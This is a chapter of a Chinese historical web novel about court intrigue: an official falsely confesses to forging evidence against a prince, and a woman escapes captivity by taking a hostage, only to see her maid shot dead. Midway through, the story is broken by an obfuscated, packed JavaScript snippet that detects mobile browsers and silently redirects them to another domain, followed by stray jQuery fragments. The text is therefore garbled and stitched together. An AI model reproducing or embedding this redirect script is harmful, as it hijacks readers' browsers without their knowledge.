元兴皇帝听闻裴放有话要说,以为他还藏有自己儿子谋反的罪证没交,不得不亲自来了一趟乾元殿。
他此行甚为低调,裴放回京的事眼下只有他自己知道,关于礼王谋反的罪证,也只他一人过了目。
事,是他让裴放查的,如今舍不得儿子的,也是他。
他当时是一时气头上,这才派了裴放去冒险搜集罪证,可这两个多月的时间里,他忽然想通了一些事。
几个儿子中,显然礼王是最有能力继位的,尽管他现在下不了决心,但若将来他寿终正寝,为了江山考虑,他毫无疑问会将帝位传给礼王。
现在要他杀了这样一个继承人,他如何能不动摇?
再者,裴放的梦里,礼王是在他被雷……薨逝之后才造的反,不过是因为时局没落在他身上,他有野心又有能力,凭什么要因为出身而退让,凭什么他就不能争一争呢?
自古以来,帝位之争,不都是能者居之吗?
他站在自己儿子的立场上,以己度人,竟生生找出了他谋反的合理性。
既然如此,他直接将他立为太子,不就能避免裴放的梦境在现实发生了么?
他想通这些事情之后,便后悔和裴放做戏把他贬到鄂州去了,原以为他不会那么容易拿到罪证,没成想才两个月他就火速归京,秘密进了皇宫向他复命。
元兴皇帝活了半辈子,从来没像现在这般纠结过。
他不想追究儿子的过错,甚至想将错就错立其为太子,可裴放手里拿着罪证,一腔的正义凛然,大有他不处置礼王他就是昏君的意思。
元兴皇帝只能把他扣在皇宫,等自己做出决断了再考虑如何处置他。
这次,裴放要是再拿出罪证来,他可就真的要生气了。
哼,一个臣子,铁了心要他杀自己的亲儿子,他焉能忍他?
万万没想到,裴放并没有拿出什么罪证来,反而一副从容赴死的神情跪在他面前。
“微臣有罪,先前呈予皇上的罪证皆为臣一手伪造,臣大逆不道,污蔑当朝皇子,罪不容诛。”
他语气淡淡,每一个字都不带丝毫感情,随后平静地俯下身去:“请皇上,赐微臣死罪。”
“荒谬——”元兴皇帝愣愣看了他一瞬,突然一掌拍在案上,勃然大怒。
“罪证是不是伪造,朕难道看不出来吗?!”元兴皇帝愤然起身,绕到他面前,叱问,“可是有人威胁于你?”
“没有。”
裴放答得毫不犹豫,语气淡到令人绝望。
“你抬起头来!”
元兴皇帝伸手指着他:“说,到底是何人用的何种方式威胁的你!”
裴放抬起头,并不直视龙颜:“臣罪该万死,请皇上赐微臣死罪。”
“你!”元兴皇帝气得原地转了两圈,随后一袖子甩在他脸上,愤然离去。
听到殿门关闭,裴放这才平静站起。
没过一会儿,门口传来整齐划一的脚步声响,裴放抬眼望向门上影影绰绰映出来的人影,缓缓归坐于案前。
这一日,乾元殿的守卫临时换了一拨,近几日出入过乾元殿的小黄门全部发配至慎刑司,不少人脱了一层皮才从里面抬出来。
八月十四,正值中秋前夕,京城之中比往日要热闹几分,许多在外求学、云游、经商的百姓都在这几日不辞辛苦地赶回城中,与家人团圆。
杏花巷深处那座空置已久的小院里,侍卫们守着屋门紧闭的房子,已有些百无聊赖。
屋内,徐素湘紧了紧手腕上缠匕首的布条,这把匕首是她被困在这里后唯一能打破局面为她争取一线生机的利器。
先前的不反抗和主动配合,都只是为了麻痹对方以逃过搜身。连她自己都没想到,当初为了在路上防身而带的匕首,如今竟真的成了救命稻草。
红菱在一旁小心翼翼地把两根尖锐木簪藏进发髻里,那是徐素湘用两根筷子削成的,让她戴着防身,虽比不上真正的利器,但也聊胜于无。
“奶奶,瞧着快正午了。”
徐素湘没应声。
她在等。
等姚采薇过来。
这院子内外共有十二人把守,凭她和红菱两个人根本不可能从这些训练有素的侍卫手中逃脱,唯一的赢面,只有拿住姚采薇。
“她会过来吗?”红菱忐忑地问了一句。
说实话,徐素湘也不知道。
如果裴放仅凭一个包袱就被他们威胁,那么姚采薇大概率不会再来,因为他们的目的已经达成,她失去了作用,是死是活根本不需要对方亲自来确认。
但,若是裴放没认出那个包袱,或是根本不受他们威胁,那么姚采薇必定还会过来,砍她一根手指或是一条手臂拿去刺激裴放,或是直接把她杀了,都有可能。
她相信,姚采薇做的出来。
只是这一次,她不会再坐以待毙了。
不知等了多久,在听到院门打开的那一瞬,徐素湘心情复杂地吐了口气。
姚采薇这次是带着丫鬟来的,她穿着莹紫色曳地长裙,雪色臂纱绕过衣袖,高髻上簪了朵新鲜的牡丹,金钗玉珰衬出她十二分的颜色,隆重得像是刚从宴席上出来。
她未语先笑,模样娇娆。
“昨日表哥已经向圣上阐明,是他为一己之私伪造了书信污蔑礼王殿下,如今圣上正头疼该怎么判他呢。”
她盯着徐素湘的表情,像是在问她“惊不惊喜,意不意外”。
徐素湘的确有些意外,不说裴放这么轻易就妥协改口,皇帝也好像在玩过家家的权力游戏一样,要查礼王的是他,要判裴放的也是他。
“恭喜你和礼王得偿所愿。”徐素湘面容淡淡,抬起眼睛看她一眼,“想来庶妃娘娘不会这么无聊,专程来我面前炫耀吧?”
“炫耀?”姚采薇自嘲地笑了一声,“我只是想不通,为什么你什么都不做,就能让他心甘情愿地为你放弃所有?”
就一个贴身包袱而已,他就妥协了。
他竟然就这么轻易地,妥协了。
“污蔑皇子,欺君罔上,哪一条都是死罪。”姚采薇上前一步,逼近她,“你究竟有什么魅力,能让他为你做到这种地步?”
徐素湘盯着她的脸:“庶妃娘娘是在……嫉妒我?”
姚采薇顿了一下,忽然握紧了指间手帕。
与其说是嫉妒,不如说是不甘心。
她这一生,第一次主动把自己那一身伤痕露给别人,她当时那般忐忑,那般羞耻,又那般怀揣期待。
可裴放竟连个同情怜惜的眼神都不曾给她,他那般无情,心肠那样的硬,却为了眼前这个女子,甘愿背上罪名,为她赴死。
她怎能甘心?
既然他那么在乎她,那她偏要让他心碎。
他的命和他的心,她全部都要踩在脚下,践踏。
她面上一瞬的失神,给了徐素湘刹那的时机。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959237|172349||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是现在!
她揽过姚采薇的肩膀,一柄雪亮的匕首抵在她颈边。
“都给我退下!”徐素湘喝令众人。
“娘娘!”姚采薇身边的丫鬟惊呼一声,“快保护娘娘!”
匕首在姚采薇雪白的颈项上划出一道浅痕,殷红的血线渗出,相当醒目。
侍卫们不敢轻举妄动,纷纷倒退着往后。
徐素湘挟持着姚采薇退到院门边上,看了一眼门外的马车,命令马车周围的奴仆全部退后。
众人不敢有违,姚庶妃如今正得殿下宠爱,便是府上正妃和侧妃都要让她两分,她若是在他们眼皮子底下出了事,回去哪还有命面对礼王殿下?
徐素湘一手持着匕首,一手钳制住姚采薇,她力气大,姚采薇根本反抗不得。
待上了车,徐素湘让红菱驾车,奈何她从前没干过这个,马儿根本不听她的使唤。
折腾了片刻,徐素湘一咬牙将姚采薇推了下去,劈手夺过马鞭,扬手一鞭下去,马声嘶鸣,当即朝着巷子外面跑去。
马车后面,侍卫们纷纷上前拱卫着姚采薇。
姚采薇狼狈站起,从其中一个侍卫身上夺过弓箭,拉弓上弦对准了车厢。
她屏住呼吸,灌注了全部的精神。
王爷说过,她的箭术已经堪比御林军神射手。
那自然是拿来哄她的话,但她对自己有信心,毕竟,她的箭术可是她用季氏当活靶子练出来的。
箭术练成的那一天,她精准射瞎了季氏的一只眼睛。
徐素湘以为她那个车夫是侍卫射杀的,其实是她射中的,不过是因为当时刚好有个靶子,她也刚好想射箭了而已。
“唰”的一下。
箭矢破空而去。
以这样的速度和角度,箭矢竟分毫不差地从车窗破入,任是在场训练有素的侍卫也不得不再次叹服于这位庶妃娘娘的箭术。
“奶奶……你快跑。”
红菱低头看了看自己的心口,颤着声音叮嘱。
徐素湘听着她的声音不太对,扭头看去,瞳孔不由一颤。
“红菱!”
她松开缰绳,扶住红菱,话音凌乱:“你别……”
喉头哽住,徐素湘看着那穿透出来的箭头,双手打颤。
“别管我了,奶奶,快跑……”
马儿冲入大街,因无人控制,开始肆无忌惮地一路冲撞。
徐素湘抱着红菱不撒手,她连眼神都开始涣散了,她怎么敢撒手!
“你再坚持一下,我带你去找大夫。”她哭着恳求。
车厢颠簸得厉害,徐素湘死命抱住红菱,却还是只能看着她的手从自己身上滑落。
红菱缓缓闭上眼睛,面容带着一丝痛苦。
一箭穿心,怎么能不痛呢?
“红菱——”
随着这一声哭喊,车厢翻倒在地,徐素湘抱着红菱被甩出老远,脑袋磕在道旁的车摊上,直撞得她眼花耳鸣。
周围闹哄哄的,全是人,徐素湘却什么都听不清。
“救人,求求你们……救救她。”
她用尽全力,却只能发出一声呢喃。
路边乱成一团,两边的马车都过不去,被堵在最前面的那辆马车上下来个丫鬟,她踌躇地上前,待看清徐素湘的面容,突然惊呼一声。
“夫人?!”
徐素湘勉力抬头,看见一张熟悉的脸,再支撑不住,彻底昏死过去。